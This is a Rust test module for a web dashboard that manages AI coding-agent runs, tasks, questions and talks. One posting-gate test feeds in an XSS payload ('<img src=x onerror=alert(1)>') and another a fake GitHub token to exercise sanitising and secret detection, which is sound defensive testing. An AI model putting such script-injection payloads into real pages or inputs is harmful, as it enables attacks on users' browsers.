19420 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19421 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19422 assert!(APP_JS.contains("unreadable` : null"));
19424 }
19425
19426 #[test]
19427 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19428 let mut state = RunState::new(
19429 "/repo".into(),
19430 "main".into(),
19431 "abc".into(),
19432 "task".into(),
19433 crate::config::Config::default(),
19434 );
19435 state.status = RunStatus::Blocked;
19436 state.gate_ran = true;
19437 state.gate.push(crate::run::CommandOutcome {
19438 command: "cargo make check".into(),
19439 code: Some(1),
19440 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19441 duration_ms: 0,
19442 resource_blocked: false,
19443 });
19444 let view = RunDetailView::of(
19445 state,
19446 false,
19447 crate::run::Liveness::Unknown,
19448 None,
19449 None,
19450 None,
19451 );
19452 let value = serde_json::to_value(view).unwrap();
19453 assert_eq!(
19454 value["stop_reason"],
19455 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19456 );
19457 }
19458
19459 #[test]
19460 fn the_run_detail_payload_says_whether_the_run_is_done() {
19461 for (status, done) in [
19463 (RunStatus::Superseded, true),
19464 (RunStatus::Blocked, true),
19465 (RunStatus::Landing, false),
19466 ] {
19467 let mut state = RunState::new(
19468 std::path::PathBuf::from("/repo"),
19469 "main".to_owned(),
19470 "abc".to_owned(),
19471 "x".to_owned(),
19472 crate::config::Config::default(),
19473 );
19474 state.status = status;
19475 let v = serde_json::to_value(RunDetailView::of(
19476 state,
19477 false,
19478 crate::run::Liveness::Unknown,
19479 None,
19480 None,
19481 None,
19482 ))
19483 .unwrap();
19484 assert_eq!(v["done"], done, "{status:?}");
19485 }
19486 }
19487
19488 fn has_strong(nodes: &[md::Node]) -> bool {
19490 serde_json::to_string(nodes).unwrap().contains("strong")
19491 }
19492
19493 #[test]
19494 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19495 let mut state = RunState::new(
19496 std::path::PathBuf::from("/repo"),
19497 "main".to_owned(),
19498 "abc".to_owned(),
19499 "x".to_owned(),
19500 crate::config::Config::default(),
19501 );
19502 let proposal = |approach: &str| {
19503 serde_json::json!({
19504 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19505 })
19506 };
19507 state.advice = Some(
19508 serde_json::from_value(serde_json::json!({
19509 "records": [
19510 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19511 "proposal": proposal("do **this**")},
19512 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19513 ],
19514 "synthesis": "- one\n- **two**\n\n`code`",
19515 }))
19516 .unwrap(),
19517 );
19518 state.candidates = serde_json::from_value(serde_json::json!([
19519 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19520 "summary": "did **it**"},
19521 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19522 ]))
19523 .unwrap();
19524 state.reviews = serde_json::from_value(serde_json::json!([{
19527 "round": 1, "head": "h",
19528 "reviews": [{
19529 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19530 "findings": [
19531 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19532 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19533 ],
19534 }],
19535 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19536 "fix": {"agent": "a", "notes": "fixed **it**",
19537 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19538 }, {"round": 2, "head": "h2", "reviews": []}]))
19539 .unwrap();
19540
19541 let v = serde_json::to_value(RunDetailView::of(
19542 state,
19543 false,
19544 crate::run::Liveness::Unknown,
19545 None,
19546 None,
19547 None,
19548 ))
19549 .unwrap();
19550
19551 let strong = |p: &str| {
19552 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19553 assert!(n.to_string().contains("strong"), "{p}: {n}");
19554 };
19555 strong("/advice_md/synthesis");
19556 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19557 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19558 strong("/advice_md/approaches/0");
19559 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19560 strong("/candidate_summaries_md/0");
19561 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19562 strong("/reviews_md/0/reviewers/0/summary");
19563 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19564 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19565 assert!(f[1].to_string().contains("strong"));
19566 strong("/reviews_md/0/reconsideration/0");
19567 strong("/reviews_md/0/fix/notes");
19568 strong("/reviews_md/0/fix/rejected/0");
19569 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19570 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19571 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19573 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19574 }
19575
19576 #[test]
19577 fn a_run_without_advice_has_no_advice_md() {
19578 let state = RunState::new(
19579 std::path::PathBuf::from("/repo"),
19580 "main".to_owned(),
19581 "abc".to_owned(),
19582 "x".to_owned(),
19583 crate::config::Config::default(),
19584 );
19585 let p = run_prose_md(&state);
19586 assert!(p.advice_md.is_none());
19587 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19588 }
19589
19590 #[test]
19591 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19592 let store = ask::Questions::at(PathBuf::from("unused"));
19593 let gt = crate::github_text::Withheld {
19594 title: false,
19595 body: true,
19596 categories: vec!["sensitive-data".into()],
19597 };
19598 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19599 let (detail, comparison) =
19600 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19601 let mut q = Question::new(
19602 "r".into(),
19603 "github-text".into(),
19604 "posting-gate".into(),
19605 "s".into(),
19606 detail,
19607 Vec::new(),
19608 );
19609 assert!(
19610 QuestionView::of(q.clone(), &store, None)
19611 .posting_view
19612 .is_none()
19613 );
19614 q.posting_comparison = Some(comparison);
19615 let view = QuestionView::of(q.clone(), &store, None);
19616 let field = &view.posting_view.unwrap().fields[0];
19617 assert_eq!(
19618 field
19619 .original
19620 .iter()
19621 .map(|f| f.text.as_str())
19622 .collect::<String>(),
19623 body
19624 );
19625 assert!(field.original[0].text.starts_with("<img"));
19626 let original_question: Question =
19627 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19628 assert_eq!(original_question, q);
19629 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19630 .original
19631 .start = 1;
19632 assert!(
19633 QuestionView::of(q.clone(), &store, None)
19634 .posting_view
19635 .is_none()
19636 );
19637 q.posting_comparison = original_question.posting_comparison;
19638 q.detail.push_str("extra context");
19639 assert!(
19640 QuestionView::of(q.clone(), &store, None)
19641 .posting_view
19642 .is_some()
19643 );
19644 q.detail.insert(0, 'x');
19645 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19646 }
19647
19648 #[test]
19649 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19650 let store = ask::Questions::at(PathBuf::from("unused"));
19651 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19652 let gt = crate::github_text::Withheld::from_check(
19653 &crate::github_text::check("fix: x", body),
19654 "fix: x",
19655 body,
19656 )
19657 .unwrap();
19658 let (detail, comparison) =
19659 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19660 let mut q = Question::new(
19661 "r".into(),
19662 "github-text".into(),
19663 "posting-gate".into(),
19664 "s".into(),
19665 detail,
19666 Vec::new(),
19667 );
19668 q.posting_comparison = Some(comparison);
19669 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19670 let field = &value["posting_view"]["fields"][0];
19671 let group = &field["replacement_group"];
19672 let triggers = group["triggers"].as_array().unwrap();
19673 assert_eq!(triggers.len(), 2);
19674 assert_ne!(triggers[0], triggers[1]);
19675 for id in triggers {
19676 assert!(
19677 field["original"]
19678 .as_array()
19679 .unwrap()
19680 .iter()
19681 .any(|f| &f["pair"] == id)
19682 );
19683 assert!(
19684 !field["changed"]
19685 .as_array()
19686 .unwrap()
19687 .iter()
19688 .any(|f| &f["pair"] == id)
19689 );
19690 }
19691 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19692 group["id"].as_u64().unwrap() as usize;
19693 assert!(
19694 QuestionView::of(q, &store, None).posting_view.is_none(),
19695 "group and trigger IDs cannot collide"
19696 );
19697 }
19698
19699 #[test]
19700 fn a_question_view_carries_markdown_for_each_thread_turn() {
19701 let home = TempDir::new().unwrap();
19702 let store = ask::Questions::at(home.path().join("questions"));
19703 let mut q = Question::new(
19704 "run".to_owned(),
19705 "implement".to_owned(),
19706 "impl-A".to_owned(),
19707 "which?".to_owned(),
19708 String::new(),
19709 Vec::new(),
19710 );
19711 q.say("plain words").unwrap();
19712 q.reply("use **this**", Vec::new()).unwrap();
19713 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19714 let bodies = &v["thread_bodies_md"];
19715 assert_eq!(bodies.as_array().unwrap().len(), 2);
19716 assert!(!bodies[0].to_string().contains("strong"));
19717 assert!(bodies[1].to_string().contains("strong"));
19718 }
19719
19720 #[test]
19721 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19722 let home = TempDir::new().unwrap();
19723 let store = ask::Questions::at(home.path().join("questions"));
19724 let mut q = Question::new(
19725 "run".to_owned(),
19726 "conduct".to_owned(),
19727 "conduct".to_owned(),
19728 "which?".to_owned(),
19729 String::new(),
19730 Vec::new(),
19731 );
19732 q.say("plain words").unwrap();
19733 q.thread.push(ask::Turn {
19734 who: ask::Who::Agent,
19735 body: "Settled as `merge`".to_owned(),
19736 at: jiff::Timestamp::now(),
19737 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19738 });
19739 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19740 let notes = &v["thread_notes_md"];
19741 assert_eq!(notes.as_array().unwrap().len(), 2);
19742 assert!(notes[0].is_null());
19743 let text = notes[1].to_string();
19744 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19745 assert!(APP_JS.contains("ask-turn-note"));
19746 }
19747
19748 #[test]
19749 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19750 assert!(APP_JS.contains("function landView(run, raw) {"));
19754 assert!(
19755 APP_JS.contains(
19756 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19757 )
19758 );
19759 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19760 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19761 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19762 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19763 }
19764
19765 #[test]
19766 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19767 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19768 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19769 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19770 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19771 }
19772
19773 #[test]
19774 fn review_rounds_label_a_distinct_verified_head() {
19775 assert!(APP_JS.contains("round.verified_head"));
19776 assert!(APP_JS.contains("verified HEAD"));
19777 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19778 }
19779
19780 #[test]
19781 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19782 assert!(APP_JS.contains("blocked: { glyph:"));
19786 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19787
19788 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19792 assert!(
19793 APP_JS.contains(
19794 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19795 ),
19796 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19797 );
19798 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19802
19803 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19807 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19808 assert!(
19809 APP_JS.contains("location.hash = \"#/questions\";"),
19810 "a question node must jump to the Questions screen, not pretend to be a task"
19811 );
19812
19813 assert!(APP_JS.contains("Resolved questions"));
19816 assert!(APP_JS.contains("r.answersList.append("));
19817 assert!(APP_CSS.contains(".task-answers"));
19818 {
19819 let start = APP_JS
19820 .find("function updateTalkTaskRow")
19821 .expect("updateTalkTaskRow");
19822 let body = &APP_JS[start..];
19823 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19824 assert!(
19825 body.contains(
19826 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19827 ),
19828 "a chat-filed task row must link to the task page"
19829 );
19830 assert!(
19831 !body.contains("#/runs/") && !body.contains("#/queue/"),
19832 "the row must not branch to a run or the queue card"
19833 );
19834 assert!(APP_CSS.contains(".talk-task-link"));
19835 }
19836 }
19837
19838 #[test]
19839 fn a_task_notification_links_to_the_task_page() {
19840 let start = APP_JS
19842 .find("function noticeLink(")
19843 .expect("noticeLink exists");
19844 let body = &APP_JS[start..];
19845 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19846 assert!(
19847 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19848 "a task notice's link must target the task page"
19849 );
19850 assert!(
19851 !body.contains("#/queue/"),
19852 "regression: the task link must not go back to the Backlog route"
19853 );
19854 assert!(
19855 APP_JS.contains(
19856 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19857 ),
19858 "`#/tasks/<id>` must parse into the task route"
19859 );
19860
19861 assert!(
19863 APP_JS.contains(
19864 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19865 ),
19866 "`#/queue/<id>` must parse into a route carrying that id"
19867 );
19868
19869 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19873 assert!(APP_JS.contains("function consumeQueueFocus()"));
19874 assert!(APP_JS.contains("jumpToTask(id)"));
19875 }
19876
19877 #[test]
19878 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19879 let start = APP_JS
19880 .find("function noticeCoveredBy(")
19881 .expect("noticeCoveredBy exists");
19882 let body = &APP_JS[start..];
19883 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19884
19885 assert!(body.contains("Associated question ${short}"));
19887 assert!(!body.contains("el(\"a\""));
19888
19889 assert!(body.contains("(resolved)"));
19891 assert!(body.contains("(closed)"));
19892
19893 let start = APP_JS
19894 .find("function renderNotifications()")
19895 .expect("renderNotifications exists");
19896 let body = &APP_JS[start..];
19897 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
19898
19899 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
19901 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
19902 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
19903 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
19904 }
19905
19906 #[test]
19909 fn chat_rows_put_the_title_alone_on_the_first_line() {
19910 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
19911 assert!(APP_CSS.contains(
19912 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
19913 ));
19914 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
19915 assert!(APP_JS.contains("class: \"badge talk-unread\""));
19916 }
19917
19918 #[test]
19919 fn run_rows_put_the_title_alone_on_the_first_line() {
19920 assert!(
19921 APP_CSS.contains(
19922 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
19923 )
19924 );
19925 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
19926 assert!(APP_JS.contains("class: \"card run-card\""));
19927 assert!(APP_JS.contains("class: \"repo run-id\""));
19928 }
19929
19930 #[test]
19934 fn wide_screens_show_list_and_preview_side_by_side() {
19935 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
19937 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
19938 assert!(APP_CSS.contains("main[data-split]"));
19939 assert!(APP_CSS.contains("body[data-split]"));
19940
19941 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
19943 assert!(
19944 APP_JS.contains(
19945 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
19946 )
19947 );
19948 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
19949 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
19950 assert!(INDEX_HTML.contains("id=\"split-empty\""));
19951
19952 assert!(APP_JS.contains("function markSelected() {"));
19954 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
19955 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
19956 assert!(
19958 APP_CSS.contains(
19959 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
19960 )
19961 );
19962
19963 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
19965 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
19966 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
19967 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
19968
19969 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
19973 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
19974 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
19975 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
19976
19977 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
19979 }
19980
19981 #[test]
19982 fn panel_sandbox_carries_exactly_popups() {
19983 let needle = "sandbox: \"";
19984 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
19985 assert_eq!(
19986 matches.len(),
19987 1,
19988 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
19989 );
19990 let start = matches[0].0 + needle.len();
19991 let end = APP_JS[start..]
19992 .find('"')
19993 .expect("sandbox attribute value must be terminated by a closing quote");
19994 let val = &APP_JS[start..start + end];
19995 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
19996 let expected: std::collections::BTreeSet<&str> =
19997 ["allow-popups", "allow-popups-to-escape-sandbox"]
19998 .into_iter()
19999 .collect();
20000 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20001 assert!(
20002 !tokens.contains("allow-scripts"),
20003 "allow-scripts must never be present in sandbox"
20004 );
20005 assert!(
20006 !tokens.contains("allow-same-origin"),
20007 "allow-same-origin must never be present in sandbox"
20008 );
20009 }
20010
20011 #[test]
20012 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20013 assert!(
20022 APP_JS.contains(
20023 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20024 ),
20025 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20026 recursive renderQueue() call has nothing left to jump to"
20027 );
20028 assert!(
20029 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20030 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20031 arrives later still gets it"
20032 );
20033 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20034 assert!(APP_JS.contains("is not in the current Backlog."));
20035 assert!(APP_JS.contains("li.card[data-task-id=\""));
20036 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20037 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20038 assert!(APP_CSS.contains(".card-permalink"));
20039 assert!(APP_CSS.contains(".queue-focus-status"));
20040 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20041 }
20042
20043 #[test]
20044 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20045 assert!(
20053 APP_JS.contains(
20054 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20055 ),
20056 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20057 );
20058 }
20059
20060 #[test]
20061 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20062 assert!(
20063 APP_JS.contains("round.verified_head !== round.head"),
20064 "a round that verified an earlier commit must be visibly distinct from one that \
20065 verified the head reviewers are looking at now"
20066 );
20067 assert!(
20068 APP_JS.contains("round.verified_at"),
20069 "when a check ran must be on the wire, not just which commit"
20070 );
20071 assert!(
20072 APP_JS.contains("resource_blocked"),
20073 "a command magi never got to run (shared build cache contention) must not render \
20074 the same as a command that ran and failed"
20075 );
20076 }
20077
20078 #[test]
20079 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20080 assert!(
20088 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20089 "every KPI tile built through statusTile() must route its click through \
20090 openRunsFiltered, the single place that sets the Runs filter"
20091 );
20092 for (label, status) in [
20093 ("Merged", "merged"),
20094 ("Ready", "ready"),
20095 ("Blocked", "blocked"),
20096 ("Stalled", "stalled"),
20097 ] {
20098 let call = format!("statusTile(\"{label}\", t.{status}, ");
20099 assert!(
20100 APP_JS.contains(&call),
20101 "expected the {label} KPI tile built via {call}..."
20102 );
20103 assert!(
20104 APP_JS.contains(&format!("status === \"{status}\"")),
20105 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20106 compare a run against, not one invented only for the stats tile"
20107 );
20108 }
20109 assert!(
20110 APP_JS.contains("function openRunsFiltered(status)"),
20111 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20112 );
20113 assert!(
20114 APP_JS.contains(
20115 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20116 ),
20117 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20118 );
20119 assert!(
20127 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20128 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20129 hashchange event that may never fire"
20130 );
20131 }
20132
20133 #[test]
20134 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20135 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20141 assert!(
20142 APP_JS.contains(
20143 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20144 ),
20145 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20146 guard for an incompatible tree section"
20147 );
20148 }
20149
20150 #[test]
20151 fn every_stats_queue_tile_names_a_real_queue_section() {
20152 assert!(
20158 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20159 "every queue tile built through sectionTile() must route its click through \
20160 openQueueSectionFocus"
20161 );
20162 for key in ["upnext", "running", "done", "held", "blocked"] {
20163 assert!(
20164 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20165 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20166 );
20167 }
20168 for line in [
20172 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20173 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20174 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20175 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20176 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20177 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20178 ] {
20179 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20180 }
20181 }
20182
20183 #[test]
20184 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20185 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20192 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20193 assert!(APP_JS.contains("function revealQueueSection(details)"));
20194 assert!(
20195 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20196 "renderQueue() must consume both focus channels on every pass"
20197 );
20198 assert!(
20199 APP_JS.contains(
20200 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20201 ),
20202 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20203 the recursive renderQueue() call has nothing left to reveal"
20204 );
20205 assert!(
20206 APP_JS.contains(
20207 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20208 ),
20209 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20210 );
20211 assert!(
20219 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20220 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20221 hashchange event that may never fire"
20222 );
20223 }
20224
20225 #[tokio::test]
20226 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20227 let f = Fixture::start().await;
20228
20229 let mut socket = tokio::net::TcpStream::connect(f.addr)
20230 .await
20231 .expect("connect");
20232 socket
20233 .write_all(
20234 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20235 )
20236 .await
20237 .expect("write request");
20238
20239 let mut seen = String::new();
20242 let mut buf = [0u8; 1024];
20243 while !seen.contains("event: change") {
20244 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20245 .await
20246 .expect("the stream must speak within five seconds")
20247 .expect("read");
20248 assert!(read > 0, "the server closed the change stream: {seen}");
20249 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20250 }
20251
20252 assert!(
20253 seen.to_lowercase()
20254 .contains("content-type: text/event-stream"),
20255 "the browser only reconnects automatically for a real SSE stream: {seen}"
20256 );
20257 let data = seen
20258 .lines()
20259 .find_map(|l| l.strip_prefix("data:"))
20260 .expect("a data line");
20261 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20262 assert!(
20263 payload["queue_rev"].is_u64()
20264 && payload["runs_rev"].is_u64()
20265 && payload["questions_rev"].is_u64()
20266 && payload["talks_rev"].is_u64()
20267 && payload["notifications_rev"].is_u64()
20268 && payload["loop_rev"].is_u64(),
20269 "the client needs one revision per store to know what to refetch, \
20270 and `talks_rev` is the only notification a standing talk gets - a \
20271 phone whose radio slept through a turn learns about it here, as \
20272 does one whose operator started the loop from another device: \
20273 {payload}"
20274 );
20275
20276 let health = f.get("/api/health").await.json();
20283 for key in [
20284 "queue_rev",
20285 "runs_rev",
20286 "questions_rev",
20287 "talks_rev",
20288 "notifications_rev",
20289 "loop_rev",
20290 ] {
20291 assert!(
20292 health[key].is_u64(),
20293 "health is the change stream's fallback and is missing `{key}`: {health}"
20294 );
20295 }
20296 }
20297
20298 #[tokio::test]
20299 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20300 let f = Fixture::start().await;
20301 let before = f.get("/api/health").await.json()["talks_rev"]
20302 .as_u64()
20303 .expect("talks_rev");
20304
20305 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20306 std::thread::sleep(Duration::from_millis(10));
20307 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20308 on_disk.turns.push(crate::talk::Turn {
20309 sender: None,
20310 breaks: Some(Vec::new()),
20311 messages: Vec::new(),
20312 posted_by: None,
20313 who: crate::talk::Who::Operator,
20314 body: "a new turn".to_owned(),
20315 at: Timestamp::now(),
20316 attachments: Vec::new(),
20317 usage: None,
20318 });
20319 f.talks().put(&mut on_disk).expect("record a turn");
20320
20321 let after = tokio::time::timeout(Duration::from_secs(5), async {
20322 loop {
20323 let revision = f.get("/api/health").await.json()["talks_rev"]
20324 .as_u64()
20325 .unwrap();
20326 if revision != before {
20327 break revision;
20328 }
20329 tokio::time::sleep(Duration::from_millis(50)).await;
20330 }
20331 })
20332 .await
20333 .expect("shared monitor observes external turn");
20334 assert_ne!(
20335 before, after,
20336 "a phone must be able to notice a talk's reply without polling every store"
20337 );
20338 }
20339
20340 #[test]
20341 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20342 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20346 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20347 }
20348 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20349 assert!("everywhere".parse::<Bind>().is_err());
20350 }
20351
20352 #[test]
20353 fn an_explicit_bind_address_is_taken_verbatim() {
20354 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20355
20356 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20357
20358 assert_eq!(addr, asked);
20359 assert!(
20360 warning.is_none(),
20361 "an operator who named an address gets no lecture"
20362 );
20363 }
20364
20365 #[test]
20366 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20367 let (addr, warning) = resolve_bind(&Bind::Auto);
20368
20369 match addr {
20376 IpAddr::V4(ip) if is_tailnet(&ip) => {
20377 assert!(warning.is_none(), "a tailnet address needs no warning");
20378 }
20379 other => {
